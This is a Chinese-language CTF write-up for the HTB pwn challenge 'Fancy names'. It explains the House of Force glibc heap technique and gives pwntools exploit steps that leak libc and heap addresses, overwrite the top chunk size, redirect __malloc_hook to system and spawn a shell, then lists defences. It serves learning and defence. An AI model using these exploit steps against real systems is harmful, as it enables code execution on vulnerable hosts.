一次 house of force 练习:HTB pwn - Fancy names
字数 1545 2025-08-22 12:22:30
House of Force 漏洞利用技术详解
1. 漏洞背景
House of Force 是一种针对 glibc 堆管理器的利用技术,主要影响 glibc 2.27 及更早版本。该技术通过修改 top chunk 的 size 字段,然后分配一个非常大的内存块,使得后续的内存分配可以覆盖任意内存区域(如 malloc hook)。
2. 漏洞前提条件
要成功利用 House of Force 技术,需要满足以下条件:
- 能够控制 top chunk 的 size 字段
- 能够分配任意大小的内存块
- 能够泄露堆地址和 libc 地址
- 目标系统使用 glibc 2.27 或更早版本(2.28 及以后版本已修复)
3. 漏洞分析
3.1 程序功能分析
目标程序是一个 64 位 ELF 文件,主要功能包括:
- 用户管理:可以设置和修改用户名
- 内存分配:可以分配任意大小的内存块
- 数据写入:可以向分配的内存写入数据,存在 8 字节溢出漏洞
3.2 保护机制
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./.glibc/'
3.3 关键漏洞点
- 内存分配溢出:在
main函数中,read(0, buf, size + 8)存在 8 字节溢出,可以覆盖下一个 chunk 的 size 字段 - UAF 漏洞:在
menu函数中,释放内存后可以继续使用,导致 Use-After-Free - 未初始化内存泄露:
buf数组未初始化,可以通过打印泄露栈、堆或 libc 地址
4. 利用思路
4.1 非预期解:tcache dup
- 利用未初始化内存泄露 libc 地址
- 通过 UAF 修改 tcache 的 next 指针指向
__malloc_hook - 分配内存覆盖
__malloc_hook为 system 函数地址 - 分配一个指向 "/bin/sh" 字符串的内存获取 shell
4.2 预期解:House of Force
- 泄露 libc 地址和堆地址
- 利用溢出漏洞修改 top chunk 的 size 字段为一个极大值
- 计算需要分配的大小,使 top chunk 移动到
__malloc_hook附近 - 分配内存覆盖
__malloc_hook为 system 函数地址 - 分配一个指向 "/bin/sh" 字符串的内存获取 shell
5. 详细利用步骤(House of Force)
5.1 泄露 libc 地址
sla(b"> ", b"1")
sa(b": ", cyclic(56))
ru(cyclic(56))
leak = rl()[:-1]
leak = unpack(leak, "all")
libc.address = leak - 0x64f44
通过未初始化的 buf 数组泄露 libc 地址。
5.2 泄露堆地址
sla(b": ", b"n")
sla(b"> ", b"2")
sla(b"> ", b"22")
sla(b"> ", b"3")
ru(b"Welcome ")
leak2 = rl()[:-2]
leak2 = unpack(leak2, "all")
heapbase = leak2 - 0x260
通过释放 mem2 后打印其内容,获取堆地址。
5.3 修改 top chunk size
sla(b"> ", b"1")
sla(b": ", b"24")
sa(b": ", cyclic(24) + pack(0xfffffff20c08))
利用 8 字节溢出修改 top chunk 的 size 字段为一个极大值。
5.4 移动 top chunk 到 malloc_hook 附近
size = libc.sym.__malloc_hook - 0x20 - heapbase - 0x350
sla(b"> ", b"1")
sla(b": ", str(size).encode())
sla(b": ", pack(0xdeadbeef))
计算需要分配的大小,使 top chunk 移动到 __malloc_hook 附近。
5.5 覆盖 malloc_hook 获取 shell
sla(b"> ", b"1")
sla(b": ", b"24")
sla(b": ", pack(libc.sym.system))
sla(b"> ", b"1")
sla(b": ", str(next(libc.search(b"/bin/sh"))).encode())
分配内存覆盖 __malloc_hook 为 system 函数地址,然后分配一个指向 "/bin/sh" 字符串的内存获取 shell。
6. 防御措施
- 更新 glibc 到 2.28 或更高版本
- 对内存分配大小进行严格限制
- 确保释放后的内存不再使用
- 初始化所有内存变量
- 检查所有可能导致溢出的操作
7. 总结
House of Force 是一种强大的堆利用技术,通过控制 top chunk 的 size 字段和分配超大内存块,可以实现任意内存写入。虽然 glibc 2.28 及以后版本已经修复了这个问题,但在旧版本系统中仍然是一个严重的安全威胁。理解这种技术有助于开发者更好地保护自己的应用程序免受类似攻击。